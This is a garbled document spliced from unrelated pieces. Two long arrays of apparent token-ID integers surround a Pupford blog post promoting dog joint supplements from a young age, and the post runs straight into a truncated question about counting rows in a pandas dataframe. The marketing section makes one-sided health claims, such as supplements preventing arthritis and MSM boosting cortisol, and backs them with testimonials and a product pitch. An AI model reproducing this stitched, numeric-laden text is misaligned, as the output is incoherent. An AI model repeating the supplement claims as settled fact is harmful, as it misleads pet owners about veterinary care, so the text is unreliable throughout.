2408, 273, 3490, 285, 20441, 327, 616, 22136, 13, 3340, 275, 616, 15746, 285, 13290, 15, 187, 187, 1909, 436, 12415, 310, 3732, 281, 616, 22136, 352, 31394, 1066, 25548, 534, 310, 247, 41292, 4408, 326, 46168, 634, 16597, 457, 84, 22136, 15, 733, 6993, 347, 247, 19266, 875, 1027, 14910, 285, 7120, 247, 9560, 2554, 275, 253, 6036, 1786, 273, 634, 4370, 15, 187, 187, 1909, 673, 4566, 327, 25548, 31394, 1066, 285, 253, 4757, 326, 369, 2378, 275, 253, 6036, 5075, 561, 15, 831, 476, 1421, 281, 2866, 187, 187, 2906, 394, 13825, 285, 6036, 10696, 187, 187, 7992, 4190, 3075, 285, 25699, 187, 187, 2290, 4434, 2509, 15363, 4712, 187, 187, 688, 1340, 281, 1682, 3657, 841, 1077, 4016, 6973, 13, 352, 310, 1682, 281, 1265, 3652, 285, 11850, 634, 16597, 457, 84, 22136, 347, 2393, 347, 581, 807, 1711, 342, 6036, 26434, 2, 187, 187, 6872, 403, 816, 690, 273, 253, 5373, 273, 4983, 634, 16597, 745, 327, 253, 987, 44802, 342, 6036, 402, 793, 2866, 187, 187, 998, 3755, 7461, 285, 1329, 5875, 6036, 25548, 285, 41292, 4408, 187, 187, 3848, 719, 833, 4839, 273, 21781, 1996, 327, 275, 1495, 187, 187, 25800, 511, 6036, 773, 68, 2345, 279, 272, 668, 323, 3038, 285, 3038, 273, 3075, 14, 4924, 794, 2, 187, 187, 19262, 4787, 253, 4702, 273, 15546, 281, 4056, 49966, 22136, 4768, 512, 8661, 273, 1495, 187, 187, 1231, 457, 306, 753, 352, 2378, 285, 359, 588, 1333, 352, 969, 2866, 187, 187, 510, 1682, 16498, 323, 634, 4370, 457, 84, 6036, 3237, 310, 281, 3523, 352, 1078, 352, 1014, 6569, 2, 187, 187, 1276, 37095, 46580, 281, 9870, 323, 496, 23106, 6023, 84, 323, 367, 8777, 187, 187, 2512, 403, 8717, 353, 22026, 952, 562, 627, 3063, 21939, 272, 1475, 670, 253, 26101, 773, 88, 9631, 668, 24405, 15, 187, 187, 3726, 9023, 326, 352, 588, 417, 760, 1361, 634, 4370, 457, 84, 22136, 13, 533, 671, 9798, 731, 4383, 13, 597, 588, 320, 2104, 281, 8778, 28279, 13, 285, 417, 281, 3748, 320, 253, 1735, 4007, 15, 187, 187, 20127, 2866, 594, 5046, 326, 310, 247, 1652, 2372, 273, 271, 23668, 318, 13, 533, 776, 2285, 273, 4370, 10071, 556, 1705, 2366, 281, 2794, 253, 37648, 37095, 433, 850, 9423, 3550, 281, 1361, 368, 1089, 253, 1682, 6036, 7018, 323, 634, 16597, 342, 12696, 326, 50164, 789, 285, 403, 4999, 281, 897, 15, 187, 187, 158, 239, 216, 4051, 1028, 375, 6771, 26992, 19700, 504, 187, 187, 4041, 273, 253, 954, 4633, 16597, 13290, 285, 6036, 8499, 323, 9097, 562, 627, 15, 831, 8508, 34253, 275, 11052, 10696, 13, 31845, 22136, 13, 285, 310, 247, 3626, 1039, 281, 594, 4977, 634, 16597, 457, 84, 6036, 3075, 15, 20815, 2175, 921, 326, 4051, 1028, 375, 6771, 26992, 19700, 504, 310, 247, 4999, 285, 3626, 4500, 281, 1329, 6036, 1786, 285, 33623, 3075, 15, 187, 187, 158, 239, 216, 775, 857, 14790, 249, 322, 5773, 366, 187, 187, 40, 2179, 634, 16597, 3075, 6619, 28123, 760, 25965, 253, 1895, 285, 2506, 457, 85, 4993, 352, 15, 775, 857, 14790, 249, 322, 5773, 366, 588, 417, 760, 33623, 634, 16597, 457, 84, 3075, 533, 1361, 8706, 253, 13572, 4408, 285, 25548, 8479, 634, 16597, 457, 84, 25699, 15, 733, 671, 18653, 1824, 17302, 534, 34253, 275, 6966, 11058, 327, 634, 16597, 457, 84, 22136, 15, 1281, 634, 4370, 755, 9049, 285, 6923, 1475, 1293, 3075, 2, 187, 187, 158, 239, 216, 44986, 187, 187, 3338, 46, 390, 353, 4040, 14, 30923, 38258, 14, 20912, 1351, 313, 5658, 476, 923, 2139, 359, 751, 6789, 352, 816, 44986, 10, 310, 271, 8708, 8508, 326, 7729, 512, 1027, 11880, 273, 268, 8777, 2972, 3075, 48009, 3515, 949, 616, 11083, 13154, 15, 733, 671, 7729, 4711, 625, 32996, 13, 247, 3626, 3270, 14, 13901, 14689, 13, 281, 10073, 275, 3652, 253, 8350, 12974, 273, 41292, 7944, 1475, 634, 16597, 457, 84, 22136, 15, 187, 187, 158, 239, 216, 33420, 16937, 280, 40393, 313, 55, 262, 4988, 330, 10, 187, 187, 2042, 634, 806, 7906, 672, 368, 3047, 14590, 330, 369, 390, 6525, 13, 840, 6604, 253, 9790, 273, 7108, 326, 1869, 273, 253, 1072, 2181, 15, 10348, 368, 871, 326, 14590, 330, 2686, 7120, 247, 9560, 2554, 275, 253, 4702, 273, 15546, 275, 634, 16597, 457, 84, 2133, 32, 10595, 6533, 310, 253, 2022, 8350, 2601, 326, 6556, 634, 16597, 457, 84, 2133, 285, 22136, 2366, 15, 49092, 285, 1652, 8322, 273, 15546, 426, 8872, 4370, 342, 247, 7695, 22136, 15, 187, 187, 3039, 368, 403, 2819, 323, 253, 1682, 6036, 8499, 323, 9097, 1056, 2119, 326, 597, 452, 841, 12696, 403, 275, 731, 2, 187, 187, 3726, 588, 512, 1361, 634, 4370, 347, 247, 2872, 16597, 13, 29386, 2897, 296, 3408, 13, 6782, 13, 285, 15822, 1711, 4370, 8661, 273, 1495, 2, 187, 187, 6067, 23106, 6023, 1338, 323, 40938, 42683, 318, 187, 187, 4125, 326, 368, 871, 6036, 26434, 323, 9097, 403, 417, 760, 323, 672, 368, 4370, 2184, 310, 2168, 18492, 3374, 390, 2970, 247, 1652, 625, 14370, 39746, 13, 533, 323, 512, 8661, 273, 616, 1495, 13, 352, 457, 84, 673, 281, 12433, 282, 1066, 285, 1089, 253, 987, 581, 323, 368, 285, 634, 378, 3269, 15, 187, 187, 3378, 253, 12553, 24405, 44282, 275, 1133, 285, 776, 747, 14541, 3640, 13, 776, 4370, 10071, 1119, 581, 2181, 326, 310, 3430, 342, 594, 1142, 6036, 26434, 323, 9097, 562, 627, 15, 187, 187, 3726, 760, 452, 581, 2238, 273, 8499, 326, 310, 6326, 281, 320, 908, 323, 512, 9097, 13, 642, 2647, 253, 2363, 390, 1655, 6036, 1617, 2, 11879, 40705, 15, 187, 187, 2773, 310, 2139, 1060, 387, 367, 484, 4379, 359, 3562, 577, 1027, 8661, 273, 6036, 26434, 323, 9097, 326, 1918, 634, 4370, 253, 2173, 12696, 597, 878, 387, 1046, 1127, 275, 616, 1495, 15, 187, 187, 3378, 2233, 6, 3626, 12696, 285, 26925, 26115, 841, 402, 793, 403, 1633, 368, 476, 320, 9979, 273, 4933, 281, 634, 1682, 11829, 610, 3331, 15, 5057, 625, 8692, 327, 731, 2708, 2, 10215, 441, 368, 1912, 457, 85, 14938, 352, 42908, 187, 187, 39557, 407, 16916, 30630, 187, 187, 1328, 457, 84, 7208, 1925, 13, 773, 783, 15657, 844, 284, 2205, 273, 253, 21048, 3645, 668, 407, 367, 484, 4379, 457, 84, 15822, 15205, 1417, 259, 1914, 254, 4370, 4907, 11197, 15, 33581, 344, 5841, 779, 326, 13, 984, 344, 457, 84, 14211, 13, 11755, 13, 285, 4536, 21189, 285, 417, 816, 984, 344, 457, 84, 253, 760, 27143, 275, 253, 3906, 15, 8452, 457, 84, 281, 1333, 15, 187, 4013, 13, 344, 671, 14528, 6153, 253, 1682, 2600, 3909, 670, 3253, 9097, 285, 849, 597, 476, 1056, 1014, 253, 954, 32864, 3101, 14, 249, 14, 33530, 715, 7353, 29828, 15, 3954, 326, 457, 84, 1524, 10721, 15, 187, 187, 510, 4737, 310, 275, 253, 8105, 259, 3544, 15, 187, 187, 23337, 380, 78, 1893, 10351, 187, 187, 6067, 9097, 2389, 253, 13746, 13, 285, 403, 1900, 9049, 672, 352, 457, 84, 673, 281, 1379, 253, 26434, 2, 844, 452, 644, 970, 352, 323, 247, 2129, 285, 476, 4366, 247, 3064, 275, 776, 1249, 14, 2913, 14, 744, 16597, 457, 84, 11959, 285, 3745, 281, 1408, 13, 594, 5211, 2, 187, 35769, 2205, 187, 187, 15413, 23089, 247, 399, 17693, 2, 187, 187, 3220, 4370, 310, 9199, 38818, 708, 884, 1107, 1711, 15, 754, 434, 644, 1579, 14650, 253, 1390, 1643, 2607, 14, 896, 29434, 15, 2732, 816, 247, 1643, 1897, 327, 436, 367, 484, 4379, 8499, 13, 344, 310, 2168, 4886, 1199, 1805, 13, 2389, 352, 2, 12429, 187, 187, 47074, 418, 11625, 253, 308, 4740, 187, 187, 1231, 1694, 253, 26434, 323, 776, 374, 14, 2913, 14, 744, 11877, 22547, 15, 754, 434, 417, 1907, 667, 6036, 3075, 2568, 13, 533, 359, 3078, 281, 755, 779, 3053, 2393, 15, 754, 14528, 253, 9075, 1046, 673, 359, 1918, 731, 281, 779, 15, 39457, 187, 187, 56, 968, 676, 310, 6610, 8247, 281, 3032, 8937, 16531, 187, 187, 6067, 5685, 44452, 45450, 676, 310, 854, 285, 689, 253, 2469, 807, 369, 4983, 281, 3468, 1066, 285, 46169, 247, 2372, 15, 329, 1643, 2607, 896, 359, 1694, 779, 841, 6036, 26434, 285, 7808, 13, 344, 434, 4720, 2970, 896, 281, 2994, 15, 844, 4571, 626, 320, 33128, 342, 253, 1543, 2, 22169, 187, 187, 49, 8777, 42216, 934, 380, 78, 5863, 187, 187, 6067, 9097, 13, 665, 476, 320, 2619, 90, 13, 564, 4482, 1070, 731, 987, 598, 672, 5907, 15, 844, 6194, 9097, 327, 639, 874, 285, 597, 789, 1077, 1892, 281, 320, 7899, 275, 3515, 13, 7145, 272, 13, 3966, 13, 594, 436, 6036, 8499, 588, 513, 973, 281, 1978, 731, 598, 285, 4886, 15, 1219, 187, 187, 3633, 380, 367, 484, 4379, 6317, 2, 187, 187, 1394, 457, 620, 755, 11855, 13330, 13, 4370, 12192, 13, 747, 1885, 11269, 13, 5043, 594, 1199, 625, 15, 733, 457, 620, 320, 1349, 17118, 3258, 2, 50, 27, 187, 187, 6878, 272, 10175, 896, 285, 6593, 1754, 327, 673, 5084, 187, 187, 42, 452, 247, 941, 6301, 342, 2608, 44077, 285, 767, 1027, 2069, 15, 673, 18, 310, 253, 1072, 323, 581, 2608, 13, 533, 673, 19, 310, 1027, 15, 209, 187, 2566, 426, 31385, 15, 3233, 9270, 7506, 187, 50274, 8, 301, 5295, 544, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 18, 13, 19, 13, 19, 13, 19, 13, 19, 13, 19, 1092, 187, 50274, 626, 553, 18, 5295, 14412, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 1383, 686, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 1383, 686, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 10606, 7798, 14, 883, 14, 520, 3127, 27, 746, 27, 1237, 10606, 7798 ]

around the dog park today… But why are they so popular? With every game of fetch your pup plays, every sprint to their food bowl, and every run in the park your dog’s joints are taking a beating. This puts pressure and force on our pup’s joints which over time can cause degeneration and deterioration of their joints. In addition to that, your pup’s joints could face… Joint inflammation and bacterial infections Severe pain and discomfort in and around joints An increased risk of Osteoarthritis Yeah, I wouldn’t want any of those things for my slobbery BFF too… Joint supplements for dogs are loaded with quality ingredients that not only help alleviate pain but help build joint cartilage which strengthens their joints. These sups are a great way to help any dog get back the perk in their walk and live a joint pain free life. The Biggest Lie About Joint Supplements for Dogs I’m not sure if you’re ready for this… This is something that the whole dog world has been battling with since the recent rise in joint supplements for dogs… The biggest lie about joint supplements for dogs is that they are ONLY for old and sick dogs! FALSE! Wow, that feels good to get off my chest. Nowadays companies that sell joint supplements for dogs are telling every dog parent that if your lil Fido is already in joint pain then they then should start taking joint supplements. Emphasis on the “start.” The best cure for your dog’s joint pain is to stop it before it even happens! That’s why every dog parent should be giving their lovable, hyperactive, and adorable fur ball joint supplements throughout their life instead of starting when they are the damage is already done! (Starting as a young pup!) Benefits of Starting Early With every jump, pivot, and sprint your doggo is putting a huge amount of force and torque on their joints, especially in their knees and hip. As this tension is applied to their joints it wears down cartilage which is a connective tissue that surrounds your pup’s joints. It acts as a connector between different bones and plays a crucial role in the joint health of your dog. As time goes on cartilage wears down and the strength that was once in the joint weakens. This can lead to… Arthritis and joint inflammation Extreme pain and discomfort Trouble doing everyday activities In order to best prevent these very negative outcomes, it is best to start building and maintaining your pup’s joints as early as one year old with joint supplements! These are just some of the benefits of starting your pup off on the right paw with joint sups… Strengthen and support healthy joint cartilage and connective tissue Decreased chance of arthritis later on in life Increase joint “cushioning” for hours and hours of pain-free fun! Promotes the formation of collagen to strengthens joints throughout all stages of life We’ve said it once and we will say it again… The best cure for your dog’s joint problems is to stop it before it even happens! What Ingredients to Look for In Joint Supps for Pups There are SO MANY people out there today barking around about the newest “wonder” ingredient. They promise that it will not only help your dog’s joints, but also teach them English, they will be able to fly afterward, and not to mention be the next president. Ok… so maybe that is a little bit of an exaggeration, but our team of dog experts has come together to create the Ultimate Ingredient Checklist to help you find the best joint sup for your pup with ingredients that scientifically work and are safe to use. ✅ Glucosamine Hydrochloride One of the most popular pup hip and joint supplement for dogs out there. This compound aids in decreasing inflammation, strengthening joints, and is a natural way to soothe your pup’s joint pain. Multiple studies show that Glucosamine Hydrochloride is a safe and natural option to support joint health and alleviate pain. ✅ Chondroitin Sulfate Giving your pup pain relief pills only masks the problem and doesn’t fix it. Chondroitin Sulfate will not only alleviate your pup’s pain but help repair the damaged tissue and cartilage causing your pup’s discomfort. It also promotes water retention which aids in shock absorption on your pup’s joints. Let your dog get excited and jump around without pain! ✅ MSM MSM or Methyl-sulfonyl-methane (you can see why we like calling it just MSM) is an organic compound that helps all different ages of pups block pain impulses running through their nerve fibers. It also helps produce more cortisol, a natural anti-inflammatory hormone, to assist in building the structural integrity of connective tissues around your pup’s joints. ✅ Ascorbic Acid (Vitamin C) If your first thoughts when you saw vitamin C was oranges, then join the millions of Americans that thought of the same thing. Did you know that vitamin C actually plays a crucial role in the formation of collagen in your pup’s body? Collagen is the main structural protein that holds your pup’s body and joints together. Weak and little amounts of collagen = sad dog with aching joints. When you are looking for the best joint supplement for dogs make sure that they have these ingredients are in them! They will all help your dog as a young pup, teenage angst phase, adult, and wise old dog stages of life! Our Joint Supplement for Dogs Recommendation Now that you know joint supplements for dogs are not only for when you doggo is already experiencing issues or getting a little more grey hairs, but for all stages of their life, it’s time to buckle down and find the right one for you and your BFF. With the ultimate ingredient checklist in hand and our newfound knowledge, our dog experts found one thing that is wrong with so many joint supplements for dogs out there. They only have one kind of supplement that is supposed to be used for all dogs, no matter the age or current joint condition! Rubbish. That is why here at Pupford we created 4 different stages of joint supplements for dogs that give your dog the specific ingredients they need at every point in their life. With 100% natural ingredients and vet formulated these sups are something you can be proud of giving to your best furry friend. Get more info on them below! Trust us you won’t regret it 🙂 Written by Austin Stephan He’s frequently called, “the Ron Weasley of the Dog World” by Pupford’s wise toothless wiener dog named Carl. Hopefully he calls him that, because he’s loyal, funny, and sometimes brave and not just because he’s the only ginger in the office. Who’s to say. Oh, he also loves creating the best content online about everything dogs and how they can make even the most stubborn mother-in-laws into sweet angels. Now that’s real magic. The proof is in the tail wags. Love Them So Far Our dogs love the flavor, and are always excited when it’s time to take the supplements! We have been using it for a week and can notice a difference in our 12-year-old pup’s coat and ability to run, so happy! Ashley Has Made a Difference! My dog is 110 lbs & 10 years old. He's been limping the last few months- back hips. After just a few days on this Pupford supplement, he is already moving much better, love it! Matt Dog Loves the Taste We got the supplements for our 2-year-old Saint Bernard. He's not having any joint pain yet, but we wanted to get him started early. He loves the taste every time we give them to him. Barrett Winslow is Finally Back to His Old Self Our German Shepherd Winslow is 8 and over the past year was starting to slow down and limp a bit. A few months back we got him these joint supplements and slowly, he's finally getting back to himself. We couldn't be happier with the results! Beth Pups Gobble Them Up Our dogs, who can be picky, gobbled them right up when offered. We train dogs on agility and they work very hard to be accurate in running, cornering, etc, so this joint supplement will do well to keep them up and moving. Al Get The Pupford News! You’ll get exclusive deals, dog tips, new product updates, plus so much more. It’ll be pawtastic!Q: Counting rows back and forth based on time column I have a dataframe with user ids and two different times. time1 is the same for one user, but time2 is different. test = pd.DataFrame({ 'id': [1,1,1,1,1,1,1,1,1,1,2,2,2,2,2], 'time1': ['2018-11-01 21:19:32', '2018-11-01 21:19:32', '2018-11-01 21:19:32','2018-11-01 21:19:32','2018

[ 6067, 14542, 4610, 403, 4855, 1227, 11578, 15, 844, 403, 7219, 271, 3081, 4758, 323, 1894, 38276, 13, 8003, 281, 253, 3290, 2326, 275, 15573, 24674, 13451, 13, 534, 310, 762, 2440, 987, 1024, 15, 187, 187, 36382, 14, 8952, 2355, 310, 581, 273, 776, 625, 985, 14, 9292, 272, 3386, 13, 285, 359, 513, 417, 5583, 970, 352, 672, 3515, 247, 3492, 3120, 342, 1679, 685, 337, 6920, 273, 3541, 15, 16600, 275, 2564, 326, 253, 2802, 24159, 2105, 457, 310, 3687, 387, 2169, 30285, 15, 187, 187, 8497, 27, 3270, 14, 8952, 2355, 310, 20220, 13603, 323, 26035, 10447, 361, 2962, 8364, 13, 1955, 281, 5460, 29886, 24165, 15, 844, 403, 2444, 342, 26035, 281, 11322, 436, 7505, 13, 285, 359, 588, 294, 14, 14760, 253, 4500, 323, 253, 10447, 361, 2962, 347, 3517, 347, 1896, 15, 187, 187, 8924, 16135, 14396, 457, 310, 752, 359, 3730, 281, 347, 2802, 16135, 14396, 11855, 4438, 15385, 831, 4500, 4245, 368, 253, 1682, 3665, 14, 4427, 273, 253, 1264, 13, 533, 352, 3249, 342, 247, 5454, 14, 2727, 273, 1907, 281, 294, 44103, 253, 3148, 604, 368, 10334, 1977, 432, 253, 2165, 285, 896, 15, 187, 187, 8924, 16135, 14396, 313, 13686, 264, 10, 457, 310, 1663, 816, 247, 5680, 1417, 3497, 326, 33902, 281, 7522, 634, 3601, 15, 1422, 7168, 562, 327, 253, 4512, 3045, 6351, 273, 2802, 16135, 14396, 16236, 533, 368, 476, 1024, 10334, 896, 281, 253, 2086, 22595, 13102, 15, 187, 187, 8924, 12205, 264, 457, 310, 347, 15246, 347, 368, 1537, 1902, 15, 1310, 368, 1928, 326, 368, 457, 306, 12759, 253, 1682, 3665, 14, 4427, 562, 273, 436, 4758, 13, 1978, 275, 2564, 326, 352, 512, 3249, 896, 281, 849, 1199, 6064, 368, 403, 5480, 281, 17789, 15, 187, 187, 44831, 946, 13, 8521, 946, 285, 3045, 187, 187, 4756, 6307, 818, 187, 187, 4756, 2127, 818, 310, 776, 1039, 273, 9610, 247, 2165, 31850, 4433, 1108, 9093, 13, 253, 2165, 4242, 281, 1408, 15, 1707, 556, 644, 690, 22898, 670, 436, 3935, 1146, 247, 2802, 15353, 457, 14589, 3773, 1754, 327, 616, 985, 13, 533, 326, 310, 417, 3240, 7899, 15, 3856, 403, 690, 9534, 326, 588, 906, 275, 271, 2228, 2127, 818, 27, 187, 187, 36840, 4302, 326, 651, 2847, 271, 440, 1993, 494, 10076, 15, 1916, 320, 625, 2173, 13, 359, 2430, 322, 2354, 20, 13, 5611, 275, 3563, 6157, 15, 187, 187, 36840, 28449, 6074, 15, 25360, 1873, 313, 2003, 273, 253, 13710, 22726, 5268, 481, 187, 187, 31146, 281, 2794, 247, 14513, 20, 37, 2813, 1108, 3798, 4269, 407, 271, 12125, 390, 36761, 15896, 3120, 6254, 15, 187, 187, 8497, 326, 436, 2803, 310, 417, 2905, 281, 985, 5162, 13789, 13, 533, 2581, 7936, 985, 10336, 313, 70, 15, 72, 15, 247, 4332, 2036, 3305, 12874, 1537, 320, 2104, 281, 1408, 13710, 22726, 1223, 247, 6157, 15439, 12874, 1537, 417, 481, 187, 187, 2042, 368, 457, 250, 6883, 2228, 2127, 818, 13, 533, 634, 985, 943, 320, 598, 281, 253, 4836, 273, 3515, 13710, 22726, 13, 4496, 3057, 441, 949, 27488, 6631, 342, 253, 4579, 6809, 1282, 15956, 4756, 6307, 818, 8924, 15, 844, 452, 5611, 3081, 20893, 275, 12097, 337, 15, 18, 15, 17, 326, 476, 1361, 441, 33901, 285, 45661, 253, 2603, 273, 4433, 15, 187, 187, 20357, 401, 3299, 275, 253, 7771, 1507, 13, 2137, 91, 2487, 285, 11090, 360, 187, 187, 1231, 457, 250, 1077, 6600, 273, 253, 3665, 14, 4427, 11961, 326, 1014, 1755, 14, 1439, 348, 2718, 2793, 275, 841, 30355, 15216, 15, 844, 457, 306, 2668, 5593, 281, 1453, 253, 4583, 3486, 326, 1894, 14, 37893, 15216, 476, 452, 327, 985, 3045, 13, 533, 627, 310, 1900, 625, 359, 476, 513, 15, 844, 403, 11485, 15686, 285, 39793, 13, 285, 359, 403, 275, 253, 1232, 273, 2403, 2544, 281, 253, 7771, 1507, 326, 452, 18670, 20714, 690, 7756, 15, 187, 187, 6080, 273, 368, 452, 8042, 562, 326, 634, 24720, 310, 417, 1146, 4751, 12845, 672, 275, 841, 3510, 273, 9534, 28, 359, 452, 1119, 326, 1894, 14, 37893, 9534, 751, 841, 403, 3798, 3710, 407, 253, 12874, 13, 417, 407, 18164, 13, 594, 436, 2789, 3282, 15, 187, 187, 8665, 2544, 368, 476, 1056, 326, 588, 1361, 3157, 3045, 27, 187, 187, 1231, 457, 306, 1239, 326, 690, 6109, 15896, 8364, 1537, 417, 20420, 873, 616, 3045, 6222, 672, 3515, 13710, 22726, 15, 1422, 476, 3451, 436, 407, 1469, 281, 634, 15896, 1453, 5370, 285, 13542, 4758, 598, 247, 6222, 15, 187, 187, 6744, 13623, 7464, 329, 2771, 476, 671, 3157, 3045, 5777, 15, 187, 187, 1898, 13, 273, 2282, 13, 40806, 1066, 4114, 5659, 476, 760, 1361, 15, 187, 187, 8975, 29212, 187, 187, 6067, 941, 2296, 326, 13, 672, 4080, 347, 271, 3388, 2439, 512, 3773, 13, 29212, 1309, 13710, 22726, 30355, 403, 4942, 7520, 15, 2064, 1146, 753, 13, 627, 1537, 320, 690, 4212, 326, 452, 253, 3962, 9902, 273, 10309, 13, 7533, 390, 4712, 326, 46554, 6015, 29212, 275, 247, 1039, 326, 359, 476, 18236, 33901, 285, 4993, 15, 1310, 368, 2793, 5185, 29212, 13, 390, 604, 368, 871, 273, 247, 12724, 41374, 581, 13, 4496, 1379, 247, 4143, 281, 436, 6293, 285, 1501, 634, 1491, 627, 1108, 359, 457, 250, 1900, 2819, 323, 625, 3374, 751, 436, 281, 4993, 13, 285, 3629, 13710, 22726, 7882, 588, 1900, 320, 247, 1755, 11674, 323, 776, 2285, 15, 187, 187, 1231, 4102, 4840, 2961, 326, 359, 4229, 247, 3665, 14, 4427, 11961, 1895, 326, 5866, 672, 20586, 497, 327, 2802, 12412, 457, 28, 436, 4993, 671, 10260, 2559, 7882, 327, 4567, 14, 2713, 2718, 15, 187, 187, 7761, 20101, 187, 187, 2042, 634, 985, 12724, 6294, 84, 1066, 34065, 13, 4496, 564, 281, 436, 6293, 285, 1501, 634, 1491, 15, 3808, 273, 368, 452, 2168, 2218, 436, 13, 285, 634, 9319, 452, 644, 6685, 9371, 15, 844, 457, 306, 5867, 512, 253, 1491, 368, 457, 306, 2530, 594, 2080, 13, 285, 436, 310, 752, 359, 476, 1333, 2866, 187, 187, 13753, 22726, 556, 253, 5350, 281, 11306, 16584, 634, 985, 15, 1310, 368, 403, 3515, 253, 2165, 342, 1029, 15896, 7533, 13, 436, 310, 3340, 2032, 15, 4155, 32138, 390, 16273, 19103, 326, 1537, 417, 320, 8943, 672, 2654, 1981, 390, 4882, 643, 3958, 812, 6830, 320, 7329, 672, 368, 403, 3515, 13710, 22726, 13, 3340, 275, 9506, 326, 1691, 4465, 3473, 327, 634, 985, 313, 10201, 49, 13, 27037, 13, 3966, 2698, 1916, 1416, 247, 1643, 1841, 368, 943, 1007, 562, 323, 27, 187, 187, 38, 2224, 459, 326, 634, 1612, 6186, 310, 417, 11741, 285, 326, 352, 13191, 2217, 14709, 281, 1612, 634, 985, 15, 187, 187, 2214, 3276, 15711, 13, 352, 457, 84, 671, 4409, 12669, 326, 253, 1612, 6186, 7989, 310, 2444, 6283, 15, 5220, 5416, 326, 634, 5578, 1083, 310, 6283, 5698, 31718, 285, 634, 2329, 5449, 310, 440, 706, 2855, 264, 15, 187, 187, 38, 2224, 459, 326, 634, 5578, 310, 4076, 285, 634, 985, 310, 417, 43848, 2400, 342, 8660, 285, 17819, 15, 187, 187, 1231, 5583, 3192, 4569, 39933, 313, 2163, 27305, 285, 12356, 10, 604, 368, 403, 689, 13273, 272, 634, 10309, 15, 3824, 7535, 310, 281, 11901, 1841, 896, 281, 253, 11662, 457, 84, 8521, 7533, 1919, 634, 985, 20101, 403, 11512, 15, 187, 187, 22036, 27981, 561, 403, 8653, 672, 7464, 25767, 247, 4619, 2228, 15, 9717, 641, 273, 436, 3753, 403, 3798, 10309, 390, 6254, 2905, 15, 187, 187, 1231, 457, 306, 2530, 690, 1491, 1060, 275, 253, 9404, 25278, 670, 4088, 281, 6891, 1066, 285, 4271, 253, 5230, 2847, 273, 247, 1677, 2228, 15, 7464, 14280, 281, 2412, 436, 1491, 13, 285, 1110, 20131, 403, 247, 1175, 1127, 281, 3135, 271, 5839, 15, 187, 187, 2214, 1046, 4143, 368, 457, 306, 1160, 281, 253, 1198, 7640, 281, 1501, 3989, 1242, 390, 4151, 441, 273, 271, 2523, 1108, 5717, 368, 15, 5402, 49183, 12558, 3544, 1361, 441, 313, 9154, 604, 368, 513, 7740, 281, 897, 15695, 6731, 14610, 4536, 4672, 10, 285, 359, 3524, 368, 457, 620, 4035, 281, 789, 342, 441, 281, 1056, 13710, 22726, 1270, 15, 187, 187, 13904, 313, 19, 16, 24, 16, 805, 2262, 831, 1501, 556, 644, 598, 323, 689, 247, 2129, 285, 359, 403, 1024, 1469, 281, 440, 19982, 90, 352, 275, 271, 3434, 281, 2944, 12216, 253, 9404, 24703, 434, 2022, 3239, 15, 187, 187, 2347, 670, 2403, 2119, 326, 253, 2165, 2506, 626, 4336, 3523, 18164, 672, 48484, 941, 432, 253, 7592, 11556, 390, 15231, 4367, 32, 1244, 6240, 690, 3686, 273, 4500, 281, 2406, 36775, 3290, 15, 2064, 651, 1056, 619, 2165, 1408, 1293, 3665, 15323, 15, 187, 187, 1147, 1663, 35058, 326, 309, 476, 452, 9199, 269, 793, 342, 15323, 281, 5571, 14, 1438, 275, 247, 2173, 2170, 13, 533, 672, 17690, 657, 14, 27902, 309, 755, 751, 9135, 15, 24, 269, 793, 342, 15323, 281, 2030, 14, 1229, 275, 253, 1077, 1072, 2170, 15, 309, 1158, 326, 434, 634, 1895, 987, 627, 13, 285, 812, 2085, 271, 8813, 281, 2139, 352, 11852, 16907, 8931, 8132, 84, 1077, 13359, 15, 187, 187, 8061, 323, 253, 411, 2415, 627, 1474, 13, 533, 627, 3548, 626, 2712, 275, 627, 326, 7729, 15, 309, 452, 247, 3965, 14, 12311, 985, 285, 1014, 3515, 3253, 327, 418, 4290, 285, 14212, 89, 10487, 309, 1335, 755, 2014, 14, 36435, 401, 3299, 327, 11090, 360, 15, 5220, 411, 59, 285, 32521, 331, 307, 1336, 387, 1458, 14, 938, 71, 793, 313, 255, 1878, 18500, 310, 417, 247, 11757, 8232, 10, 187, 187, 22242, 327, 1698, 285, 18471, 89, 43201, 428, 11090, 360, 310, 2014, 14, 36435, 401, 3299, 187, 22242, 327, 1698, 285, 14212, 89, 10487, 428, 11090, 360, 310, 2014, 14, 36435, 401, 3299, 187, 187, 19234, 310, 3430, 342, 634, 2165, 3711, 2216, 16, 8780, 16, 15179, 985, 10393, 15, 309, 476, 1132, 40542, 20, 13, 16194, 3428, 13, 285, 1142, 643, 353, 6329, 84, 327, 6571, 1029, 7533, 313, 2446, 708, 1608, 16044, 327, 10, 2568, 308, 1372, 26280, 619, 985, 15, 187, 187, 12550, 3948, 310, 8342, 23550, 13, 816, 3981, 15, 285, 594, 403, 634, 346, 24787, 273, 3694, 19414, 3, 285, 634, 9404, 15, 187, 187, 9707, 18896, 1843, 15135, 4037, 7400, 4110, 12226, 47897, 2637, 4915, 8702, 28885, 4290, 9818, 15, 187, 187, 33711, 27, 187, 187, 6080, 273, 368, 452, 8042, 562, 326, 634, 24720, 310, 417, 1146, 4751, 12845, 672, 275, 841, 3510, 273, 9534, 28, 359, 452, 1119, 326, 1894, 14, 37893, 9534, 751, 841, 403, 3798, 3710, 407, 253, 12874, 13, 417, 407, 18164, 13, 594, 436, 2789, 3282, 15, 187, 187, 3113, 436, 6197, 368, 1849, 816, 8176, 326, 368, 27786, 670, 253, 985, 6095, 273, 436, 2165, 15, 752, 247, 12874, 513, 359, 452, 281, 1211, 281, 1408, 436, 2165, 25863, 32, 1308, 67, 6789, 619, 18228, 277, 14735, 2, 187, 187, 510, 7234, 285, 11626, 4469, 327, 841, 14248, 403, 12718, 1110, 273, 616, 9056, 4477, 285, 513, 417, 7933, 4887, 253, 6849, 13, 4543, 403, 597, 30020, 407, 6943, 319, 609, 13, 22838, 11796, 84, 13, 285, 697, 8374, 32541, 513, 417, 12215, 253, 7200, 273, 13, 285, 403, 275, 642, 1039, 5506, 323, 667, 2600, 327, 841, 14248, 15, 187, 187, 510, 7234, 285, 11626, 4469, 327, 841, 14248, 403, 12718, 1110, 273, 616, 9056, 4477, 285, 513, 417, 7933, 4887, 253, 6849, 13, 4543, 403, 597, 30020, 407, 6943, 319, 609, 13, 22838, 11796, 84, 13, 285, 697, 8374, 32541, 513, 417, 12215, 253, 7200, 273, 13, 285, 403, 275, 642, 1039, 5506, 